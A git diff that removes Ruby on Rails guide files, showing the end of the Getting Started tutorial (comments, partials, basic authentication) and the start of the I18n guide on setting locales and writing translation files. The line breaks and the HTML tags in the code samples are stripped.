- - def create - @article = Article.new(article_params) - - if @article.save - redirect_to @article - else - render 'new' - end - end - - def update - @article = Article.find(params[:id]) - - if @article.update(article_params) - redirect_to @article - else - render 'edit' - end - end - - def destroy - @article = Article.find(params[:id]) - @article.destroy - - redirect_to articles_path - end - - private - def article_params - params.require(:article).permit(:title, :text) - end -end -``` - -You can call `destroy` on Active Record objects when you want to delete -them from the database. Note that we don't need to add a view for this -action since we're redirecting to the `index` action. - -Finally, add a 'Destroy' link to your `index` action template -(`app/views/articles/index.html.erb`) to wrap everything together. - -```html+erb -

Listing Articles

-<%= link_to 'New article', new_article_path %> - - - - - - - - <% @articles.each do |article| %> - - - - - - - - <% end %> -
TitleText
<%= article.title %><%= article.text %><%= link_to 'Show', article_path(article) %><%= link_to 'Edit', edit_article_path(article) %><%= link_to 'Destroy', article_path(article), - method: :delete, - data: { confirm: 'Are you sure?' } %>
-``` - -Here we're using `link_to` in a different way. We pass the named route as the -second argument, and then the options as another argument. The `method: :delete` -and `data: { confirm: 'Are you sure?' }` options are used as HTML5 attributes so -that when the link is clicked, Rails will first show a confirm dialog to the -user, and then submit the link with method `delete`. This is done via the -JavaScript file `jquery_ujs` which is automatically included in your -application's layout (`app/views/layouts/application.html.erb`) when you -generated the application. Without this file, the confirmation dialog box won't -appear. - -![Confirm Dialog](images/getting_started/confirm_dialog.png) - -TIP: Learn more about jQuery Unobtrusive Adapter (jQuery UJS) on -[Working With JavaScript in Rails](working_with_javascript_in_rails.html) guide. - -Congratulations, you can now create, show, list, update and destroy -articles. - -TIP: In general, Rails encourages using resources objects instead of -declaring routes manually. For more information about routing, see -[Rails Routing from the Outside In](routing.html). - -Adding a Second Model ---------------------- - -It's time to add a second model to the application. The second model will handle -comments on articles. - -### Generating a Model - -We're going to see the same generator that we used before when creating -the `Article` model. This time we'll create a `Comment` model to hold -reference to an article. Run this command in your terminal: - -```bash -$ bin/rails generate model Comment commenter:string body:text article:references -``` - -This command will generate four files: - -| File | Purpose | -| -------------------------------------------- | ------------------------------------------------------------------------------------------------------ | -| db/migrate/20140120201010_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) | -| app/models/comment.rb | The Comment model | -| test/models/comment_test.rb | Testing harness for the comment model | -| test/fixtures/comments.yml | Sample comments for use in testing | - -First, take a look at `app/models/comment.rb`: - -```ruby -class Comment < ApplicationRecord - belongs_to :article -end -``` - -This is very similar to the `Article` model that you saw earlier. The difference -is the line `belongs_to :article`, which sets up an Active Record _association_. -You'll learn a little about associations in the next section of this guide. - -The (`:references`) keyword used in the bash command is a special data type for models. -It creates a new column on your database table with the provided model name appended with an `_id` -that can hold integer values. You can get a better understanding after analyzing the -`db/schema.rb` file below. - -In addition to the model, Rails has also made a migration to create the -corresponding database table: - -```ruby -class CreateComments < ActiveRecord::Migration[5.0] - def change - create_table :comments do |t| - t.string :commenter - t.text :body - t.references :article, foreign_key: true - - t.timestamps - end - end -end -``` - -The `t.references` line creates an integer column called `article_id`, an index -for it, and a foreign key constraint that points to the `id` column of the `articles` -table. Go ahead and run the migration: - -```bash -$ bin/rails db:migrate -``` - -Rails is smart enough to only execute the migrations that have not already been -run against the current database, so in this case you will just see: - -```bash -== CreateComments: migrating ================================================= --- create_table(:comments) - -> 0.0115s -== CreateComments: migrated (0.0119s) ======================================== -``` - -### Associating Models - -Active Record associations let you easily declare the relationship between two -models. In the case of comments and articles, you could write out the -relationships this way: - -* Each comment belongs to one article. -* One article can have many comments. - -In fact, this is very close to the syntax that Rails uses to declare this -association. You've already seen the line of code inside the `Comment` model -(app/models/comment.rb) that makes each comment belong to an Article: - -```ruby -class Comment < ApplicationRecord - belongs_to :article -end -``` - -You'll need to edit `app/models/article.rb` to add the other side of the -association: - -```ruby -class Article < ApplicationRecord - has_many :comments - validates :title, presence: true, - length: { minimum: 5 } -end -``` - -These two declarations enable a good bit of automatic behavior. For example, if -you have an instance variable `@article` containing an article, you can retrieve -all the comments belonging to that article as an array using -`@article.comments`. - -TIP: For more information on Active Record associations, see the [Active Record -Associations](association_basics.html) guide. - -### Adding a Route for Comments - -As with the `welcome` controller, we will need to add a route so that Rails -knows where we would like to navigate to see `comments`. Open up the -`config/routes.rb` file again, and edit it as follows: - -```ruby -resources :articles do - resources :comments -end -``` - -This creates `comments` as a _nested resource_ within `articles`. This is -another part of capturing the hierarchical relationship that exists between -articles and comments. - -TIP: For more information on routing, see the [Rails Routing](routing.html) -guide. - -### Generating a Controller - -With the model in hand, you can turn your attention to creating a matching -controller. Again, we'll use the same generator we used before: - -```bash -$ bin/rails generate controller Comments -``` - -This creates five files and one empty directory: - -| File/Directory | Purpose | -| -------------------------------------------- | ---------------------------------------- | -| app/controllers/comments_controller.rb | The Comments controller | -| app/views/comments/ | Views of the controller are stored here | -| test/controllers/comments_controller_test.rb | The test for the controller | -| app/helpers/comments_helper.rb | A view helper file | -| app/assets/javascripts/comments.coffee | CoffeeScript for the controller | -| app/assets/stylesheets/comments.scss | Cascading style sheet for the controller | - -Like with any blog, our readers will create their comments directly after -reading the article, and once they have added their comment, will be sent back -to the article show page to see their comment now listed. Due to this, our -`CommentsController` is there to provide a method to create comments and delete -spam comments when they arrive. - -So first, we'll wire up the Article show template -(`app/views/articles/show.html.erb`) to let us make a new comment: - -```html+erb -

- Title: - <%= @article.title %> -

- -

- Text: - <%= @article.text %> -

- -

Add a comment:

-<%= form_for([@article, @article.comments.build]) do |f| %> -

- <%= f.label :commenter %>
- <%= f.text_field :commenter %> -

-

- <%= f.label :body %>
- <%= f.text_area :body %> -

-

- <%= f.submit %> -

-<% end %> - -<%= link_to 'Edit', edit_article_path(@article) %> | -<%= link_to 'Back', articles_path %> -``` - -This adds a form on the `Article` show page that creates a new comment by -calling the `CommentsController` `create` action. The `form_for` call here uses -an array, which will build a nested route, such as `/articles/1/comments`. - -Let's wire up the `create` in `app/controllers/comments_controller.rb`: - -```ruby -class CommentsController < ApplicationController - def create - @article = Article.find(params[:article_id]) - @comment = @article.comments.create(comment_params) - redirect_to article_path(@article) - end - - private - def comment_params - params.require(:comment).permit(:commenter, :body) - end -end -``` - -You'll see a bit more complexity here than you did in the controller for -articles. That's a side-effect of the nesting that you've set up. Each request -for a comment has to keep track of the article to which the comment is attached, -thus the initial call to the `find` method of the `Article` model to get the -article in question. - -In addition, the code takes advantage of some of the methods available for an -association. We use the `create` method on `@article.comments` to create and -save the comment. This will automatically link the comment so that it belongs to -that particular article. - -Once we have made the new comment, we send the user back to the original article -using the `article_path(@article)` helper. As we have already seen, this calls -the `show` action of the `ArticlesController` which in turn renders the -`show.html.erb` template. This is where we want the comment to show, so let's -add that to the `app/views/articles/show.html.erb`. - -```html+erb -

- Title: - <%= @article.title %> -

- -

- Text: - <%= @article.text %> -

- -

Comments

-<% @article.comments.each do |comment| %> -

- Commenter: - <%= comment.commenter %> -

- -

- Comment: - <%= comment.body %> -

-<% end %> - -

Add a comment:

-<%= form_for([@article, @article.comments.build]) do |f| %> -

- <%= f.label :commenter %>
- <%= f.text_field :commenter %> -

-

- <%= f.label :body %>
- <%= f.text_area :body %> -

-

- <%= f.submit %> -

-<% end %> - -<%= link_to 'Edit', edit_article_path(@article) %> | -<%= link_to 'Back', articles_path %> -``` - -Now you can add articles and comments to your blog and have them show up in the -right places. - -![Article with Comments](images/getting_started/article_with_comments.png) - -Refactoring ------------ - -Now that we have articles and comments working, take a look at the -`app/views/articles/show.html.erb` template. It is getting long and awkward. We -can use partials to clean it up. - -### Rendering Partial Collections - -First, we will make a comment partial to extract showing all the comments for -the article. Create the file `app/views/comments/_comment.html.erb` and put the -following into it: - -```html+erb -

- Commenter: - <%= comment.commenter %> -

- -

- Comment: - <%= comment.body %> -

-``` - -Then you can change `app/views/articles/show.html.erb` to look like the -following: - -```html+erb -

- Title: - <%= @article.title %> -

- -

- Text: - <%= @article.text %> -

- -

Comments

-<%= render @article.comments %> - -

Add a comment:

-<%= form_for([@article, @article.comments.build]) do |f| %> -

- <%= f.label :commenter %>
- <%= f.text_field :commenter %> -

-

- <%= f.label :body %>
- <%= f.text_area :body %> -

-

- <%= f.submit %> -

-<% end %> - -<%= link_to 'Edit', edit_article_path(@article) %> | -<%= link_to 'Back', articles_path %> -``` - -This will now render the partial in `app/views/comments/_comment.html.erb` once -for each comment that is in the `@article.comments` collection. As the `render` -method iterates over the `@article.comments` collection, it assigns each -comment to a local variable named the same as the partial, in this case -`comment` which is then available in the partial for us to show. - -### Rendering a Partial Form - -Let us also move that new comment section out to its own partial. Again, you -create a file `app/views/comments/_form.html.erb` containing: - -```html+erb -<%= form_for([@article, @article.comments.build]) do |f| %> -

- <%= f.label :commenter %>
- <%= f.text_field :commenter %> -

-

- <%= f.label :body %>
- <%= f.text_area :body %> -

-

- <%= f.submit %> -

-<% end %> -``` - -Then you make the `app/views/articles/show.html.erb` look like the following: - -```html+erb -

- Title: - <%= @article.title %> -

- -

- Text: - <%= @article.text %> -

- -

Comments

-<%= render @article.comments %> - -

Add a comment:

-<%= render 'comments/form' %> - -<%= link_to 'Edit', edit_article_path(@article) %> | -<%= link_to 'Back', articles_path %> -``` - -The second render just defines the partial template we want to render, -`comments/form`. Rails is smart enough to spot the forward slash in that -string and realize that you want to render the `_form.html.erb` file in -the `app/views/comments` directory. - -The `@article` object is available to any partials rendered in the view because -we defined it as an instance variable. - -Deleting Comments ------------------ - -Another important feature of a blog is being able to delete spam comments. To do -this, we need to implement a link of some sort in the view and a `destroy` -action in the `CommentsController`. - -So first, let's add the delete link in the -`app/views/comments/_comment.html.erb` partial: - -```html+erb -

- Commenter: - <%= comment.commenter %> -

- -

- Comment: - <%= comment.body %> -

- -

- <%= link_to 'Destroy Comment', [comment.article, comment], - method: :delete, - data: { confirm: 'Are you sure?' } %> -

-``` - -Clicking this new "Destroy Comment" link will fire off a `DELETE -/articles/:article_id/comments/:id` to our `CommentsController`, which can then -use this to find the comment we want to delete, so let's add a `destroy` action -to our controller (`app/controllers/comments_controller.rb`): - -```ruby -class CommentsController < ApplicationController - def create - @article = Article.find(params[:article_id]) - @comment = @article.comments.create(comment_params) - redirect_to article_path(@article) - end - - def destroy - @article = Article.find(params[:article_id]) - @comment = @article.comments.find(params[:id]) - @comment.destroy - redirect_to article_path(@article) - end - - private - def comment_params - params.require(:comment).permit(:commenter, :body) - end -end -``` - -The `destroy` action will find the article we are looking at, locate the comment -within the `@article.comments` collection, and then remove it from the -database and send us back to the show action for the article. - - -### Deleting Associated Objects - -If you delete an article, its associated comments will also need to be -deleted, otherwise they would simply occupy space in the database. Rails allows -you to use the `dependent` option of an association to achieve this. Modify the -Article model, `app/models/article.rb`, as follows: - -```ruby -class Article < ApplicationRecord - has_many :comments, dependent: :destroy - validates :title, presence: true, - length: { minimum: 5 } -end -``` - -Security --------- - -### Basic Authentication - -If you were to publish your blog online, anyone would be able to add, edit and -delete articles or delete comments. - -Rails provides a very simple HTTP authentication system that will work nicely in -this situation. - -In the `ArticlesController` we need to have a way to block access to the -various actions if the person is not authenticated. Here we can use the Rails -`http_basic_authenticate_with` method, which allows access to the requested -action if that method allows it. - -To use the authentication system, we specify it at the top of our -`ArticlesController` in `app/controllers/articles_controller.rb`. In our case, -we want the user to be authenticated on every action except `index` and `show`, -so we write that: - -```ruby -class ArticlesController < ApplicationController - - http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show] - - def index - @articles = Article.all - end - - # snippet for brevity -``` - -We also want to allow only authenticated users to delete comments, so in the -`CommentsController` (`app/controllers/comments_controller.rb`) we write: - -```ruby -class CommentsController < ApplicationController - - http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy - - def create - @article = Article.find(params[:article_id]) - # ... - end - - # snippet for brevity -``` - -Now if you try to create a new article, you will be greeted with a basic HTTP -Authentication challenge: - -![Basic HTTP Authentication Challenge](images/getting_started/challenge.png) - -Other authentication methods are available for Rails applications. Two popular -authentication add-ons for Rails are the -[Devise](https://github.com/plataformatec/devise) rails engine and -the [Authlogic](https://github.com/binarylogic/authlogic) gem, -along with a number of others. - - -### Other Security Considerations - -Security, especially in web applications, is a broad and detailed area. Security -in your Rails application is covered in more depth in -the [Ruby on Rails Security Guide](security.html). - - -What's Next? ------------- - -Now that you've seen your first Rails application, you should feel free to -update it and experiment on your own. - -Remember you don't have to do everything without help. As you need assistance -getting up and running with Rails, feel free to consult these support -resources: - -* The [Ruby on Rails Guides](index.html) -* The [Ruby on Rails Tutorial](http://railstutorial.org/book) -* The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk) -* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net - - -Configuration Gotchas ---------------------- - -The easiest way to work with Rails is to store all external data as UTF-8. If -you don't, Ruby libraries and Rails will often be able to convert your native -data into UTF-8, but this doesn't always work reliably, so you're better off -ensuring that all external data is UTF-8. - -If you have made a mistake in this area, the most common symptom is a black -diamond with a question mark inside appearing in the browser. Another common -symptom is characters like "ü" appearing instead of "ü". Rails takes a number -of internal steps to mitigate common causes of these problems that can be -automatically detected and corrected. However, if you have external data that is -not stored as UTF-8, it can occasionally result in these kinds of issues that -cannot be automatically detected by Rails and corrected. - -Two very common sources of data that are not UTF-8: - -* Your text editor: Most text editors (such as TextMate), default to saving - files as UTF-8. If your text editor does not, this can result in special - characters that you enter in your templates (such as é) to appear as a diamond - with a question mark inside in the browser. This also applies to your i18n - translation files. Most editors that do not already default to UTF-8 (such as - some versions of Dreamweaver) offer a way to change the default to UTF-8. Do - so. -* Your database: Rails defaults to converting data from your database into UTF-8 - at the boundary. However, if your database is not using UTF-8 internally, it - may not be able to store all characters that your users enter. For instance, - if your database is using Latin-1 internally, and your user enters a Russian, - Hebrew, or Japanese character, the data will be lost forever once it enters - the database. If possible, use UTF-8 as the internal storage of your database. diff --git a/source/i18n.md b/source/i18n.md deleted file mode 100644 index 6c8706b..0000000 --- a/source/i18n.md +++ /dev/null @@ -1,1190 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Rails Internationalization (I18n) API -===================================== - -The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for **translating your application to a single custom language** other than English or for **providing multi-language support** in your application. - -The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits.[^1] - -So, in the process of _internationalizing_ your Rails application you have to: - -* Ensure you have support for i18n. -* Tell Rails where to find locale dictionaries. -* Tell Rails how to set, preserve and switch locales. - -In the process of _localizing_ your application you'll probably want to do the following three things: - -* Replace or supplement Rails' default locale - e.g. date and time formats, month names, Active Record model names, etc. -* Abstract strings in your application into keyed dictionaries - e.g. flash messages, static text in your views, etc. -* Store the resulting dictionaries somewhere. - -This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. - -After reading this guide, you will know: - -* How I18n works in Ruby on Rails -* How to correctly use I18n into a RESTful application in various ways -* How to use I18n to translate Active Record errors or Action Mailer E-mail subjects -* Some other tools to go further with the translation process of your application - --------------------------------------------------------------------------------- - -NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, also use various gems available to add additional functionality or features. See the [rails-i18n gem](https://github.com/svenfuchs/rails-i18n) for more information. - -How I18n in Ruby on Rails Works -------------------------------- - -Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on: - -* providing support for English and similar languages out of the box -* making it easy to customize and extend everything for other languages - -As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**. _Localization_ of a Rails application means defining translated values for these strings in desired languages. - -### The Overall Architecture of the Library - -Thus, the Ruby I18n gem is split into two parts: - -* The public API of the i18n framework - a Ruby module with public methods that define how the library works -* A default backend (which is intentionally named _Simple_ backend) that implements these methods - -As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend. - -NOTE: It is possible to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section [Using different backends](#using-different-backends) below. - -### The Public I18n API - -The most important methods of the I18n API are: - -```ruby -translate # Lookup text translations -localize # Localize Date and Time objects to local formats -``` - -These have the aliases #t and #l so you can use them like this: - -```ruby -I18n.t 'store.title' -I18n.l Time.now -``` - -There are also attribute readers and writers for the following attributes: - -```ruby -load_path # Announce your custom translation files -locale # Get and set the current locale -default_locale # Get and set the default locale -available_locales # Whitelist locales available for the application -enforce_available_locales # Enforce locale whitelisting (true or false) -exception_handler # Use a different exception_handler -backend # Use a different backend -``` - -So, let's internationalize a simple Rails application from the ground up in the next chapters! - -Setup the Rails Application for Internationalization ----------------------------------------------------- - -There are a few steps to get up and running with I18n support for a Rails application. - -### Configure the I18n Module - -Following the _convention over configuration_ philosophy, Rails I18n provides reasonable default translation strings. When different translation strings are needed, they can be overridden. - -Rails adds all `.rb` and `.yml` files from the `config/locales` directory to the **translations load path**, automatically. - -The default `en.yml` locale in this directory contains a sample pair of translation strings: - -```yaml -en: - hello: "Hello world" -``` - -This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. - -The I18n library will use **English** as a **default locale**, i.e. if a different locale is not set, `:en` will be used for looking up translations. - -NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Few gems such as [Globalize3](https://github.com/globalize/globalize) may help you implement it. - -The **translations load path** (`I18n.load_path`) is an array of paths to files that will be loaded automatically. Configuring this path allows for customization of translations directory structure and file naming scheme. - -NOTE: The backend lazy-loads these translations when a translation is looked up for the first time. This backend can be swapped with something else even after translations have already been announced. - -You can change the default locale as well as configure the translations load paths in `config/application.rb` as follows: - -```ruby - config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] - config.i18n.default_locale = :de -``` - -The load path must be specified before any translations are looked up. To change the default locale from an initializer instead of `config/application.rb`: - -```ruby -# config/initializers/locale.rb - -# Where the I18n library should search for translation files -I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')] - -# Whitelist locales available for the application -I18n.available_locales = [:en, :pt] - -# Set default locale to something other than :en -I18n.default_locale = :pt -``` - -### Managing the Locale across Requests - -The default locale is used for all translations unless `I18n.locale` is explicitly set. - -A localized application will likely need to provide support for multiple locales. To accomplish this, the locale should be set at the beginning of each request so that all strings are translated using the desired locale during the lifetime of that request. - -The locale can be set in a `before_action` in the `ApplicationController`: - -```ruby -before_action :set_locale - -def set_locale - I18n.locale = params[:locale] || I18n.default_locale -end -``` - -This example illustrates this using a URL query parameter to set the locale (e.g. `http://example.com/books?locale=pt`). With this approach, `http://localhost:3000?locale=pt` renders the Portuguese localization, while `http://localhost:3000?locale=de` loads a German localization. - -The locale can be set using one of many different approaches. - -#### Setting the Locale from the Domain Name - -One option you have is to set the locale from the domain name where your application runs. For example, we want `www.example.com` to load the English (or default) locale, and `www.example.es` to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages: - -* The locale is an _obvious_ part of the URL. -* People intuitively grasp in which language the content will be displayed. -* It is very trivial to implement in Rails. -* Search engines seem to like that content in different languages lives at different, inter-linked domains. - -You can implement it like this in your `ApplicationController`: - -```ruby -before_action :set_locale - -def set_locale - I18n.locale = extract_locale_from_tld || I18n.default_locale -end - -# Get locale from top-level domain or return +nil+ if such locale is not available -# You have to put something like: -# 127.0.0.1 application.com -# 127.0.0.1 application.it -# 127.0.0.1 application.pl -# in your /etc/hosts file to try this out locally -def extract_locale_from_tld - parsed_locale = request.host.split('.').last - I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil -end -``` - -We can also set the locale from the _subdomain_ in a very similar way: - -```ruby -# Get locale code from request subdomain (like http://it.application.local:3000) -# You have to put something like: -# 127.0.0.1 gr.application.local -# in your /etc/hosts file to try this out locally -def extract_locale_from_subdomain - parsed_locale = request.subdomains.first - I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil -end -``` - -If your application includes a locale switching menu, you would then have something like this in it: - -```ruby -link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['PATH_INFO']}") -``` - -assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`. - -This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path). - -#### Setting the Locale from URL Params - -The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the `I18n.locale = params[:locale]` _before_action_ in the first example. We would like to have URLs like `www.example.com/books?locale=ja` or `www.example.com/ja/books` in this case. - -This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though. - -Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL, e.g. `link_to(books_url(/service/locale: I18n.locale))`, would be tedious and probably impossible, of course. - -Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and helper methods dependent on it (by implementing/overriding `default_url_options`). - -We can include something like this in our `ApplicationController` then: - -```ruby -# app/controllers/application_controller.rb -def default_url_options - { locale: I18n.locale } -end -``` - -Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now **automatically include the locale in the query string**, like this: `http://localhost:3001/?locale=ja`. - -You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this. - -You probably want URLs to look like this: `http://www.example.com/en/books` (which loads the English locale) and `http://www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scope`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html): - -```ruby -# config/routes.rb -scope "/:locale" do - resources :books -end -``` - -Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). A URL like `http://localhost:3001/nl/books` should load the Dutch locale, then, and following calls to `books_path` should return `"/nl/books"` (because the locale changed). - -WARNING. Since the return value of `default_url_options` is cached per request, the URLs in a locale selector cannot be generated invoking helpers in a loop that sets the corresponding `I18n.locale` in each iteration. Instead, leave `I18n.locale` untouched, and pass an explicit `:locale` option to the helper, or edit `request.original_fullpath`. - -If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so: - -```ruby -# config/routes.rb -scope "(:locale)", locale: /en|nl/ do - resources :books -end -``` - -With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified. - -Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. A URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "books#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.) - -You would probably need to map URLs like these: - -```ruby -# config/routes.rb -get '/:locale' => 'dashboard#index' -``` - -Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.) - -NOTE: Have a look at various gems which simplify working with routes: [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master), [rails-translate-routes](https://github.com/francesc/rails-translate-routes), [route_translator](https://github.com/enriclluelles/route_translator). - -#### Setting the Locale from User Preferences - -An application with authenticated users may allow users to set a locale preference through the application's interface. With this approach, a user's selected locale preference is persisted in the database and used to set the locale for authenticated requests by that user. - -```ruby -def set_locale - I18n.locale = current_user.try(:locale) || I18n.default_locale -end -``` - -#### Choosing an Implied Locale - -When an explicit locale has not been set for a request (e.g. via one of the above methods), an application should attempt to infer the desired locale. - -##### Inferring Locale from the Language Header - -The `Accept-Language` HTTP header indicates the preferred language for request's response. Browsers [set this header value based on the user's language preference settings](http://www.w3.org/International/questions/qa-lang-priorities), making it a good first choice when inferring a locale. - -A trivial implementation of using an `Accept-Language` header would be: - -```ruby -def set_locale - logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}" - I18n.locale = extract_locale_from_accept_language_header - logger.debug "* Locale set to '#{I18n.locale}'" -end - -private - def extract_locale_from_accept_language_header - request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first - end -``` - - -In practice, more robust code is necessary to do this reliably. Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) library or Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb) Rack middleware provide solutions to this problem. - -##### Inferring the Locale from IP Geolocation - -The IP address of the client making the request can be used to infer the client's region and thus their locale. Services such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry) or gems like [geocoder](https://github.com/alexreisner/geocoder) can be used to implement this approach. - -In general, this approach is far less reliable than using the language header and is not recommended for most web applications. - -#### Storing the Locale from the Session or Cookies - -WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [*RESTful*](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below. - -Internationalization and Localization ------------------------------------ - -OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. - -Next we need to _internationalize_ our application by abstracting every locale-specific element. Finally, we need to _localize_ it by providing necessary translations for these abstracts. - -Given the following example: - -```ruby -# config/routes.rb -Rails.application.routes.draw do - root to: "home#index" -end -``` - -```ruby -# app/controllers/application_controller.rb -class ApplicationController < ActionController::Base - before_action :set_locale - - def set_locale - I18n.locale = params[:locale] || I18n.default_locale - end -end -``` - -```ruby -# app/controllers/home_controller.rb -class HomeController < ApplicationController - def index - flash[:notice] = "Hello Flash" - end -end -``` - -```html+erb -# app/views/home/index.html.erb -

Hello World

-

<%= flash[:notice] %>

-``` - -![rails i18n demo untranslated](images/i18n/demo_untranslated.png) - -### Abstracting Localized Code - -There are two strings in our code that are in English and that users will be rendered in our response ("Hello Flash" and "Hello World"). In order to internationalize this code, these strings need to be replaced by calls to Rails' `#t` helper with an appropriate key for each string: - -```ruby -# app/controllers/home_controller.rb -class HomeController < ApplicationController - def index - flash[:notice] = t(:hello_flash) - end -end -``` - -```html+erb -# app/views/home/index.html.erb -

<%=t :hello_world %>

-

<%= flash[:notice] %>

-``` - -Now, when this view is rendered, it will show an error message which tells you that the translations for the keys `:hello_world` and `:hello_flash` are missing. - -![rails i18n demo translation missing](images/i18n/demo_translation_missing.png) - -NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do not need to spell out `I18n.t` all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a ``. - -### Providing Translations for Internationalized Strings - -Add the missing translations into the translation dictionary files: - -```yaml -# config/locales/en.yml -en: - hello_world: Hello world! - hello_flash: Hello flash! - -# config/locales/pirate.yml -pirate: - hello_world: Ahoy World - hello_flash: Ahoy Flash -``` - -Because the `default_locale` hasn't changed, translations use the `:en` locale and the response renders the english strings: - -![rails i18n demo translated to English](images/i18n/demo_translated_en.png) - -If the locale is set via the URL to the pirate locale (`http://localhost:3000?locale=pirate`), the response renders the pirate strings: - -![rails i18n demo translated to pirate](images/i18n/demo_translated_pirate.png) - -NOTE: You need to restart the server when you add new locale files. - -You may use YAML (`.yml`) or plain Ruby (`.rb`) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) - -If your translations are stored in YAML files, certain keys must be escaped. They are: - -* true, on, yes -* false, off, no - -Examples: - -```erb -# config/locales/en.yml -en: - success: - 'true': 'True!' - 'on': 'On!' - 'false': 'False!' - failure: - true: 'True!' - off: 'Off!' - false: 'False!' -``` - -```ruby -I18n.t 'success.true' # => 'True!' -I18n.t 'success.on' # => 'On!' -I18n.t 'success.false' # => 'False!' -I18n.t 'failure.false' # => Translation Missing -I18n.t 'failure.off' # => Translation Missing -I18n.t 'failure.true' # => Translation Missing -``` - -### Passing Variables to Translations - -One key consideration for successfully internationalizing an application is to -avoid making incorrect assumptions about grammar rules when abstracting localized -code. Grammar rules 